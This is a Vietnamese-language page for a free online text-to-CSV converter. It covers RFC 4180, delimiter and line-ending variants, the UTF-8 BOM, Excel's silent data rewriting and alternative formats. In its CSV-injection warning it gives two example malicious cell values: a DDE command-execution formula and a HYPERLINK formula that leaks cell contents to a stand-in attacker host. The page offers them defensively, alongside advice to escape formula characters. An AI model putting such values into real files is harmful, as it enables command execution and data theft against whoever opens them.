Bộ chuyển đổi văn bản sang CSV miễn phí
Chuyển đổi dữ liệu văn bản dạng bảng sang định dạng CSV. Phát hiện tự động dấu phân cách, xử lý dấu nháy và xem trước trước khi tải xuống.
Về định dạng CSV
CSV (Comma-Separated Values, giá trị được phân tách bằng dấu phẩy) là một định dạng văn bản đơn giản để lưu trữ dữ liệu dạng bảng. Mỗi dòng đại diện cho một bản ghi và các giá trị được phân tách bằng dấu phẩy. CSV được hỗ trợ rộng rãi bởi bảng tính, cơ sở dữ liệu và công cụ phân tích.
Tại sao chuyển sang CSV?
- Tính di động dữ liệu · chuyển đổi từ bất kỳ định dạng văn bản nào sang CSV, dễ dàng nhập vào bảng tính.
- Định dạng phổ biến · CSV được hỗ trợ bởi Excel, Google Sheets, cơ sở dữ liệu và các công cụ lập trình.
- Làm sạch dữ liệu · chuẩn hóa dấu phân cách và định dạng không nhất quán.
- API và tự động hóa · CSV lý tưởng cho các hoạt động hàng loạt và tích hợp.
- Định dạng lưu trữ · giữ dữ liệu dạng bảng ở định dạng dễ đọc và độc lập với nền tảng.
Câu hỏi thường gặp
Công cụ hỗ trợ những dấu phân cách nào?
Nó tự động phát hiện tab, khoảng trắng, dấu phẩy, dấu chấm phẩy và dấu gạch đứng. Bạn cũng có thể xác định dấu phân cách tùy chỉnh một ký tự.
Làm thế nào để xử lý các trường có chứa dấu phẩy?
Bật tùy chọn « Đặt dấu nháy quanh các trường có chứa dấu phẩy » để bao chúng bằng dấu nháy, làm cho chúng tuân thủ CSV.
Tôi có thể bao gồm tiêu đề không?
Có, bật tùy chọn « Bao gồm dòng tiêu đề » nếu dòng đầu tiên của bạn chứa tên cột.
Lịch sử ngắn về CSV, định dạng xuất hiện trước cả đặc tả định nghĩa nó
CSV là định dạng mà tất cả mọi người đều dùng nhưng không ai sở hữu. Nguồn gốc của nó mang tính không chính thức. Tài liệu ghi nhận sớm nhất về quy ước phân cách bằng dấu phẩy có niên đại từ năm 1972, khi IBM Fortran (level H extended) hỗ trợ input/output theo hướng danh sách, trong đó dấu phẩy đóng vai trò phân cách giữa các giá trị trên một dòng. Suốt thập niên 1970 và 1980, mọi cơ sở dữ liệu, bảng tính, gói thống kê và ứng dụng kế toán cần trao đổi dữ liệu với công cụ khác đều tự phát minh ra một biến thể nào đó của «các giá trị được phân cách bằng một ký tự nào đó trên các dòng được phân cách bằng một ký tự khác.» Không có đặc tả. Không có tổ chức quản lý. Không có triển khai chuẩn mực. Chỉ có sự đồng thuận, theo nghĩa lỏng lẻo nhất có thể.
Đến đầu những năm 2000, cái giá của sự hỗn loạn không còn có thể bỏ qua được. IETF cuối cùng đã chấp nhận một đặc tả, RFC 4180, «Common Format and MIME Type for Comma-Separated Values (CSV) Files,» được xuất bản vào tháng 10 năm 2005 bởi Yakov Shafranovich. RFC 4180 ngắn gọn, chỉ vài trang, và nó pháp điển hóa những gì hầu hết mọi người đã hội tụ: dấu phẩy làm phân cách trường, dấu ngoặc kép là ký tự bao bọc tùy chọn cho các trường chứa dấu phẩy, ngoặc kép hoặc ký tự xuống dòng, ngoặc kép nhân đôi ("") là cách thoát một ngoặc kép đơn nghĩa trong trường được bao bọc, CRLF làm ký tự kết thúc dòng, và text/csv là kiểu MIME đăng ký với IANA. Đặc tả cũng định nghĩa tham số header tùy chọn cho kiểu MIME để người gửi có thể thông báo cho người nhận biết dòng đầu tiên có phải là hàng tiêu đề hay không.
RFC 4180 mang tính thông tin, không phải tiêu chuẩn bắt buộc. Tuân thủ nó là tự nguyện. Nhưng nó cho chúng ta một mục tiêu, điều gần nhất mà CSV có như là định nghĩa về «đúng.» Một tài liệu sau đó, «Model for Tabular Data and Metadata on the Web» (CSVW, 2015) của W3C, cố gắng mở rộng câu chuyện siêu dữ liệu cho CSV bằng cách đính kèm một file JSON phụ trợ cho biết mỗi cột là gì và cách diễn giải nó. CSVW được trích dẫn rộng rãi nhưng hiếm khi được triển khai.
«CSV» ngoài thực tế không giống như RFC 4180 định nghĩa
Bất kỳ ai từng nhận một file CSV từ người lạ đều biết hình dạng của vấn đề. Những bất đồng chia thành nhiều trục:
- Ký tự phân cách. RFC 4180 nói là dấu phẩy. Các bản cài Excel ở châu Âu tại những quốc gia dùng dấu phẩy làm dấu thập phân (hầu hết lục địa châu Âu, Pháp, Đức, Ý, Tây Ban Nha, Hà Lan, Brazil) mặc định viết CSV với dấu chấm phẩy làm phân cách, vì dùng dấu phẩy sẽ xung đột với các giá trị số như
3,14cho số π. Phần mở rộng file vẫn là.csv; kiểu MIME vẫn làtext/csv; nội dung không phải là thứ mà người nhận ở Mỹ hay Anh mong đợi. - Trích dẫn. RFC 4180 nói bao trong ngoặc kép khi một trường chứa phân cách, ngoặc kép hoặc ký tự xuống dòng; nhân đôi các ngoặc kép nhúng (do đó
He said "hi"trở thành"He said ""hi"""). Trong thực tế, nhiều writer trích dẫn tất cả mọi thứ (kiểu paranoid), một số không trích dẫn gì cả (và gặp lỗi ngay khi xuất hiện dấu phẩy), và một số ít thoát bằng dấu gạch chéo ngược (\"), một quy ước của C làm hỏng các parser tuân thủ RFC. - Ký tự kết thúc dòng. RFC 4180 bắt buộc CRLF (
\r\n). Excel trên Windows tạo CRLF. Excel trên Mac cũ tạo chỉ CR (\r). Hầu hết công cụ Unix và Linux tạo LF (\n). Cả ba đều xuất hiện trong các file có nhãn.csvvà sự khác biệt làm hỏng các parser cứng nhắc theo một kỳ vọng cụ thể. - Ký tự xuống dòng đứng cuối. Một số writer kết thúc bản ghi cuối bằng ký tự xuống dòng; một số khác thì không. Các parser đếm bản ghi bằng cách đếm ký tự xuống dòng sẽ báo lỗi off-by-one tùy thuộc vào đầu vào.
- Tiêu đề. Các file ngoài thực tế chia đôi gần như ngang bằng. Kiểu MIME cho phép tham số
header=present, nhưng không ai gửi MIME header khi họ email cho bạn một file CSV, vì vậy bạn phải đoán.
Bẫy BOM
Phần này xứng đáng có mục riêng vì nó là nguồn gây đau đớn CSV xuyên nền tảng phổ biến nhất. Microsoft Excel sẽ không tự nhận diện file CSV mã hóa UTF-8 trừ khi file bắt đầu bằng UTF-8 byte order mark: ba byte EF BB BF, mã hóa ký tự Unicode U+FEFF. Không có BOM, Excel mở file bằng code page kế thừa của locale Windows của người dùng (Windows-1252 ở phương Tây, Shift_JIS ở Nhật, GBK ở Trung Quốc đại lục). Bất kỳ ký tự non-ASCII nào (chữ có dấu, ký hiệu tiền tệ, emoji, ký tự CJK) đều bị mã hóa sai.
Cách sửa là thêm BOM vào đầu file. Nhưng cái giá là mọi thứ khác đều bị nghẹn với nó. Apple Numbers (cho đến các phiên bản gần đây) hiển thị BOM như một ký tự đơn nghĩa trong ô đầu tiên. Nhiều công cụ dòng lệnh (awk, cut, sed phiên bản cũ) coi BOM là một phần của trường đầu tiên, vì vậy một tiêu đề đáng lẽ đọc là name lại đọc thành name. Hầu hết parser CSV JavaScript bỏ qua nó; nhiều quy trình module csv Python cũ hơn không làm vậy (bạn phải mở file với codec utf-8-sig). Vì một công cụ trực tuyến miễn phí không thể biết người dùng sẽ mở file ở đâu, bỏ qua BOM và hướng dẫn người dùng Excel sử dụng Data → From Text/CSV (luôn cho phép người dùng chọn UTF-8 rõ ràng) là mặc định hợp lý.
Excel cung cấp ít nhất bốn định dạng «CSV»
Hộp thoại «Save As» của Excel cung cấp nhiều biến thể CSV, và sự khác biệt có ý nghĩa:
- CSV (Comma delimited) (*.csv): dùng ký tự phân cách danh sách theo locale của người dùng (dấu phẩy ở en-US/en-GB, dấu chấm phẩy ở fr-FR/de-DE/es-ES/it-IT/pt-BR). Mã hóa là code page ANSI kế thừa. Không có BOM. Ký tự kết thúc dòng CRLF.
- CSV UTF-8 (Comma delimited) (*.csv): cùng hành vi phân cách như trên (vẫn theo locale, bất chấp cái tên) nhưng mã hóa UTF-8 với BOM. Ra mắt trong Excel 2016.
- CSV (Macintosh) (*.csv): phân cách bằng dấu phẩy, mã hóa MacRoman, ký tự kết thúc dòng Mac cổ điển (chỉ CR). Phần lớn đã lỗi thời nhưng vẫn còn xuất hiện.
- CSV (MS-DOS) (*.csv): phân cách bằng dấu phẩy, code page OEM (CP437 ở en-US, CP850 ở Tây Âu), CRLF.
Nhãn hiển thị với người dùng nói «CSV» theo bốn cách khác nhau. Nội dung file thực tế khác nhau đáng kể. Đây là thực tế mà converter phải hoạt động trong đó.
Tại sao chuyển đổi văn bản → CSV, cụ thể là như vậy
Hầu hết các «công cụ CSV» trực tuyến chạy theo hướng ngược lại: nhận CSV, xuất ra thứ gì khác (JSON, bảng HTML, câu lệnh SQL INSERT, PDF có thể in). Cái này chạy ngược lại: nhận văn bản lộn xộn, tạo ra CSV sạch. Đó là trường hợp sử dụng cho:
- Làm sạch danh sách email thành các hàng bảng tính. Một nhân viên CRM sao chép 800 email từ trường BCC vào notepad. Mỗi email cần nằm trên một hàng riêng trong bảng tính để tải lên công cụ mail-merge. Dán vào, thêm tiêu đề, tải xuống.
- Chuyển đổi bảng được sao chép từ PDF. Bảng PDF, khi được sao chép, thường đến dưới dạng văn bản với các cột được phân cách bằng nhiều dấu cách liên tiếp (hoặc tab, tùy thuộc vào trình tạo PDF). Một dấu phân cách linh hoạt (bao gồm «khoảng trắng liên tiếp») biến điều này thành lưới dữ liệu sạch.
- Cấu trúc lại đầu ra do AI tạo ra. Các mô hình ngôn ngữ lớn thích xuất bảng Markdown. Người dùng có thể dán bảng Markdown; converter phát hiện các dấu phân cách pipe và hàng phân cách gạch ngang; đầu ra là CSV thực sự.
- Nhập log vào Excel hoặc Google Sheets. Định dạng log kết hợp Apache, bản ghi syslog và nhiều log ứng dụng đều theo hướng dòng nhưng không thân thiện với bảng tính một cách tự nhiên. Chuyển đổi sang CSV, mở trong bảng tính, sắp xếp, lọc, pivot.
- Chuẩn bị dữ liệu cho câu lệnh
COPYcủa cơ sở dữ liệu. LệnhCOPY ... FROM STDIN WITH (FORMAT csv)của PostgreSQL đọc CSV trực tiếp. Người dùng có danh sách trong file văn bản có thể dán, chuyển đổi và\copyvào bảng mà không cần viết script loader. - Xây dựng CSV thủ công cho các thao tác hàng loạt. Stripe, Mailchimp, Shopify và hầu hết các nền tảng SaaS đều cung cấp CSV import cho các thao tác hàng loạt. Người dùng cần cập nhật 30 giá sản phẩm thủ công sẽ tạo ra các hàng; công cụ biến danh sách đã nhập của họ thành chính xác CSV mà nền tảng mong đợi.
Excel sẽ viết lại dữ liệu của bạn, đôi khi một cách im lặng
Một số bẫy CSV phổ biến đánh trúng ngay cả người dùng cẩn thận:
- Số 0 đứng đầu biến mất. Mã ZIP của Mỹ
01234mở ra là1234. Số máy lẻ0049mở ra là49. Mã sản phẩm00ABCmở ra làABCnếu Excel quyết định giữa chừng rằng cột đó là văn bản. Cách bảo vệ đáng tin cậy duy nhất là hoặc thêm dấu nháy đơn ở đầu (thủ thuật hiển thị), định dạng trước cột là văn bản, hoặc dùng đường nhập Data → From Text/CSV của Excel, cho phép bạn khóa kiểu cột. - Tự động chuyển đổi sang ký hiệu khoa học. Một chuỗi số dài như
0123456789012trở thành1.23457E+11khi Excel quyết định đó là số. Các ký tự gốc đã biến mất. Điều này đã làm hỏng các tập dữ liệu tên gene nghiêm trọng đến mức Ủy ban Danh pháp Gene HUGO đã đổi tên nhiều gene vào năm 2020 để thoát khỏi việc ép buộc của Excel, các ký hiệu gene như MARCH1, SEPT2 và OCT4 đã bị biến thành ngày tháng. - Tự nhận diện ngày tháng. Một cột chứa chữ ký âm nhạc
3/4,4/4,6/8,7/8trở thành ngày tháng: 3 tháng 4, 4 tháng 4, 6 tháng 8, 7 tháng 8. Tương tự với số seri như1-1và thời gian như1:30. - Diễn giải số thập lục phân.
0x1Avà0E5đều là biểu diễn số được Excel nhận ra. Một cột địa chỉ thanh ghi hay mã hợp chất hóa học có thể bị biến đổi một cách im lặng. - Tấn công CSV injection. Một trường bắt đầu bằng
=,+,-,@, hoặc tab/CR được Excel và Google Sheets diễn giải là công thức. Một giá trị độc hại như=cmd|'/c calc'!A0hoặc=HYPERLINK("https://evil.example/?d="&A1, "Click")có thể rò rỉ nội dung ô lân cận hoặc chạy lệnh shell tùy thuộc vào cài đặt client bảng tính. Bất kỳ công cụ nào xuất CSV từ văn bản do người dùng gửi nên cân nhắc việc escape các ký tự công thức đứng đầu. - Trường được trích dẫn chứa ký tự xuống dòng. Một trường như
"Hello,\nworld"với ký tự xuống dòng đơn nghĩa bên trong ngoặc kép là một trường chiếm hai dòng trên đĩa. Các parser phân tách theo ký tự xuống dòng trước rồi theo dấu phẩy sau sẽ âm thầm làm hỏng dữ liệu. Phân tích cú pháp CSV đúng đắn là một state machine, không phải hai lần pass củaString.split.
Công cụ này đứng ở đâu trong các lựa chọn thay thế CSV hiện đại
CSV tồn tại vì nó là văn bản thuần túy và con người có thể đọc được. Đối với trao đổi dữ liệu nghiêm túc, một số định dạng đã chiếm lĩnh thị phần của nó trên các chiều cụ thể:
- Apache Parquet. Một định dạng nhị phân theo cột. Các file được typed, nén và hướng theo cột (vì vậy
SELECT col1 FROM big_file.parquetchỉ đọc cột đó từ đĩa). Mặc định cho các khối lượng công việc phân tích, Snowflake, BigQuery, Databricks và Athena đọc nó gốc. Ứng viên mạnh nhất cho «cái bạn nên dùng thay CSV khi kiểm soát cả hai đầu.» Nhị phân, vì vậy nó không thỏa mãn trường hợp sử dụng «tôi có thể đọc cái này trong trình soạn thảo văn bản». - JSON Lines (JSONL / NDJSON). Một JSON object mỗi dòng. Kết hợp khả năng streaming của CSV với cấu trúc typed, lồng nhau của JSON. Được dùng rộng rãi cho log ingestion, tập dữ liệu ML và event stream. Đánh đổi: dài dòng hơn CSV (mỗi bản ghi lặp lại mọi key).
- Apache Arrow IPC (Feather v2). Một định dạng nhị phân trong bộ nhớ và trên đường truyền cho dữ liệu dạng bảng, được thiết kế để trao đổi zero-copy giữa các tiến trình và ngôn ngữ. Được dùng nhiều trong toolchain khoa học dữ liệu (pandas, gói arrow của R, Polars, DuckDB).
- Avro và ORC. Định dạng nhị phân có schema từ hệ sinh thái Hadoop. Ít phổ biến ngoài lĩnh vực kỹ thuật dữ liệu.
Đối với một converter trực tuyến miễn phí nhắm đến các nhà phát triển và nhân viên văn phòng, CSV vẫn là định dạng đầu ra phù hợp vì nó là ngôn ngữ chung của việc nhập dữ liệu ở khắp nơi. Các lựa chọn thay thế hiện đại tồn tại; chúng chưa thay thế được CSV trong hộp thư đến.
Câu hỏi thêm
Tôi có nên thêm UTF-8 BOM vào đầu ra không?
Nếu file được dùng để nhấp đúp trong Excel trên Windows, có, không có BOM, Excel mở nó bằng code page kế thừa và làm hỏng văn bản non-ASCII. Nếu đích đến là thứ gì khác (Apple Numbers, script dòng lệnh, form tải file web), bỏ qua BOM. Con đường an toàn nhất là bỏ qua BOM và hướng dẫn người dùng Excel nhập qua Data → From Text/CSV, nơi họ có thể chọn UTF-8 rõ ràng.
File CSV của tôi mở với một ô mỗi hàng trong Excel, có gì sai không?
Hầu như luôn là lỗi phân cách không khớp. Bạn đang ở locale mà Excel mong đợi dấu chấm phẩy (hầu hết lục địa châu Âu), nhưng file dùng dấu phẩy, hoặc ngược lại. Mở bằng Data → From Text/CSV thay vì nhấp đúp; trình thuật sĩ đó cho phép bạn chọn dấu phân cách rõ ràng. Hoặc lưu file từ menu Save As của Excel bằng biến thể khớp với dấu phân cách địa phương của bạn.
Sự khác biệt giữa TSV và CSV là gì?
TSV dùng ký tự tab làm phân cách thay vì dấu phẩy, với kiểu MIME riêng text/tab-separated-values và đăng ký IANA. Ưu điểm của TSV là dữ liệu thực tế hiếm khi chứa tab đơn nghĩa, vì vậy quoting hầu như không bao giờ cần thiết; nhược điểm là tab không nhìn thấy được trong trình soạn thảo văn bản và hành vi sao chép-dán khác nhau. Bộ máy trích dẫn của CSV khiến nó an toàn cho các trường chứa dấu phân cách; TSV hầu như tránh hoàn toàn vấn đề này.
Có công cụ kiểm tra lỗi CSV nào tôi có thể chạy trước khi chia sẻ file không?
Có, để sử dụng dòng lệnh, csvkit's csvclean báo cáo các hàng có số cột sai. CLI frictionless của Frictionless Data xác thực theo schema tùy chọn. Để làm việc trên trình duyệt, PapaParse báo cáo lỗi phân tích từng dòng. Xác thực nghiêm ngặt theo RFC 4180 (ký tự kết thúc dòng CRLF, escape ngoặc kép nhân đôi) hiếm khi gặp trong thực tế; hầu hết parser chấp nhận bất kỳ biến thể phổ biến nào.